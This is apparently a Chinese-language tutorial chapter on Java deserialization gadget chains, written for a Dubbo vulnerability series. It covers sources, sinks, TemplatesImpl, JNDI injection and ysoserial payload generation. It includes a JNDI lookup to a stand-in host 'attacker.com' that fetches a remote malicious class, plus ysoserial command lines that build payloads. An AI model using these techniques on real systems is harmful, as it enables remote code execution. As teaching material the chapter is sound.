Dubbo漏洞 - 01 Gadget-Chain原理

Gadget Chain 原理 — 从无害方法到远程代码执行

核心问题

上一节我们知道 readObject() 在反序列化时自动调用

但服务器上不会有直接执行命令的 readObject()

攻击者如何从一个”看似无害”的方法调用,最终达到任意代码执行?

答案:Gadget Chain(利用链)

什么是 Gadget Chain

定义

一系列已存在于服务器 classpath 中的类和方法调用,它们可以被”串联”起来

从一个反序列化入口点开始,经过多个中间跳板,最终到达一个危险的方法(如 Runtime.exec()

类比理解

想象一个多米诺骨牌链

第一块骨牌 = readObject() 被调用

中间的骨牌 = 各种看似无害的方法调用(hashCode()toString()compare()…)

最后一块骨牌 = Runtime.exec("恶意命令") 倒下 → 游戏结束

三个关键角色

Source(入口/起点):反序列化触发的第一个方法

readObject() — Java 原生反序列化

hashCode() — HashMap 反序列化时调用

equals() — HashMap 冲突时调用

compareTo() — TreeMap 反序列化时调用

toString() — 异常处理/日志记录时调用

Gadget(跳板/中间件):中间的方法调用链

每个 gadget 接收上一步的调用,转化为对下一步的调用

利用的是已有库中的合法代码逻辑

Sink(终点/危险方法):最终执行恶意操作的方法

Runtime.getRuntime().exec() — 执行系统命令

ProcessBuilder.start() — 执行系统命令

Method.invoke() — 反射调用任意方法

TemplatesImpl.newTransformer() — 加载恶意字节码

InitialContext.lookup() — JNDI 注入,远程加载恶意类

POP:属性导向编程

Property-Oriented Programming

Gadget Chain 的构造方法也叫 POP(属性导向编程)

核心思想:攻击者不能修改代码,但可以控制对象的属性值

通过精心设置对象属性,让现有代码按照攻击者期望的路径执行

图解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
攻击者构造的序列化数据
┌──────────────────────────────┐
ObjectA │
field1 = ObjectB │ ← 攻击者控制所有字段值
field2 = ObjectC │
field3 = "calc.exe"
└──────────────────────────────┘
│ 反序列化

ObjectA.readObject()
│ 内部调用

ObjectB.someMethod() ← 因为 field1 = ObjectB
│ 内部调用

ObjectC.dangerousMethod() ← 因为 field2 = ObjectC
│ 最终调用

Runtime.exec("calc.exe") ← 因为 field3 = "calc.exe"

经典入口:HashMap 的 readObject()

为什么 HashMap 是最常用的入口?

HashMap 实现了 Serializable

HashMap.readObject() 会重建哈希表,对每个 key 调用 key.hashCode()

攻击者可以控制 HashMap 中的 key 是什么对象

HashMap.readObject() 简化逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// java.util.HashMap 源码简化
private void readObject(ObjectInputStream s) throws Exception {
s.defaultReadObject();
// ... 读取 size 等信息
for (int i = 0; i < size; i++) {
Object key = s.readObject(); // 读取 key
Object value = s.readObject(); // 读取 value
putVal(hash(key), key, value, false, false);
// ↑ 这里会调用 key.hashCode()!
}
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
// ↑ 触发点!
}

如果 key 是一个精心构造的恶意对象,它的 hashCode() 方法可能会进一步触发危险操作

完整触发链

1
2
3
4
5
6
7
HashMap.readObject()
HashMap.putVal()
HashMap.hash(key)
key.hashCode() ← 攻击者控制 key 是什么类型的对象
→ ???.hashCode() ← 这里开始进入 Gadget Chain
→ ...
→ Runtime.exec("恶意命令")

经典 Sink:几种代码执行方式

1. Runtime.exec() — 直接执行命令

1
Runtime.getRuntime().exec("calc.exe");

最直接,但很多 gadget chain 到不了这里

2. TemplatesImpl — 加载恶意字节码

1
2
3
4
5
// com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
// 攻击者把恶意 class 的字节码放在 _bytecodes 字段中
// 当 newTransformer() 或 getOutputProperties() 被调用时
// 字节码被加载并实例化 → 静态代码块执行恶意代码
templatesImpl.newTransformer(); // 触发字节码加载

原理:TemplatesImpl 内部会用 ClassLoader 加载 _bytecodes 中的字节码

恶意类的 static {} 块或构造函数中放入 Runtime.exec()

CommonsBeanutils 链和 ROME 链都走这条路

3. JNDI 注入 — 远程加载恶意类

1
2
3
4
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://attacker.com:1389/Evil");
// LDAP 服务器返回一个恶意 Reference
// 客户端从 attacker.com 下载 Evil.class 并实例化

攻击者控制 JNDI URL → 指向自己的 LDAP/RMI 服务 → 返回恶意类

Spring AOP 链和 XBean 链走这条路

4. 反射调用

1
2
Method method = Runtime.class.getMethod("exec", String.class);
method.invoke(Runtime.getRuntime(), "calc.exe");

CommonsCollections 系列链通过 InvokerTransformer 实现反射调用

ysoserial:Gadget Chain 自动生成工具

简介

ysoserial 是最著名的 Java 反序列化利用工具

它封装了多条 Gadget Chain,可以一键生成恶意序列化数据

只适用于 Java 原生反序列化ObjectInputStream),不适用于 Hessian2

使用方法

1
2
3
4
5
6
7
8
9
10
11
# 列出所有可用的 gadget chain
java -jar ysoserial.jar

# 生成 CommonsCollections5 链的 payload
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.bin

# 生成 CommonsBeanutils1 链的 payload
java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > payload.bin

# 生成 ROME 链的 payload
java -jar ysoserial.jar ROME "open -a Calculator" > payload.bin

常用链速查表

链名 依赖库 入口 Sink
CommonsCollections1 commons-collections:3.1 readObject InvokerTransformer 反射
CommonsCollections5 commons-collections:3.1 readObject InvokerTransformer 反射
CommonsCollections6 commons-collections:3.1 readObject (HashSet) InvokerTransformer 反射
CommonsBeanutils1 commons-beanutils:1.9.2 readObject (PriorityQueue) TemplatesImpl 字节码
ROME rome:1.0 readObject (HashMap) TemplatesImpl 字节码
Spring1 spring-core+spring-beans readObject TemplatesImpl
Groovy1 groovy:2.3.9 readObject Runtime.exec

Gadget Chain 的发现方法

手工分析

从 sink 倒推:找到能调用 Runtime.exec() 的方法 → 找到谁调用了这个方法 → 一直追溯到 readObject()

正向搜索:从 readObject() 开始分析,看哪些方法会被调用

自动化工具

GadgetInspector:字节码分析工具,自动扫描 classpath 中的 gadget chain

1
java -jar gadget-inspector.jar --config JDKOnly target.jar

关键概念总结

概念 说明
Gadget Chain 从反序列化入口到代码执行的方法调用链
Source 入口方法:readObject/hashCode/toString/compareTo
Sink 终点:Runtime.exec/TemplatesImpl/JNDI
POP 属性导向编程,通过控制对象属性控制执行路径
ysoserial Java 原生反序列化 payload 生成工具
GadgetInspector 自动化 gadget chain 发现工具

下一步

下一篇将详细分析每条经典 Gadget Chain 的完整调用过程:CC1、CC6、CB、ROME、Spring AOP


上一章 目录 下一章
00-Java序列化机制 Dubbo漏洞 02-经典Gadget-Chain详解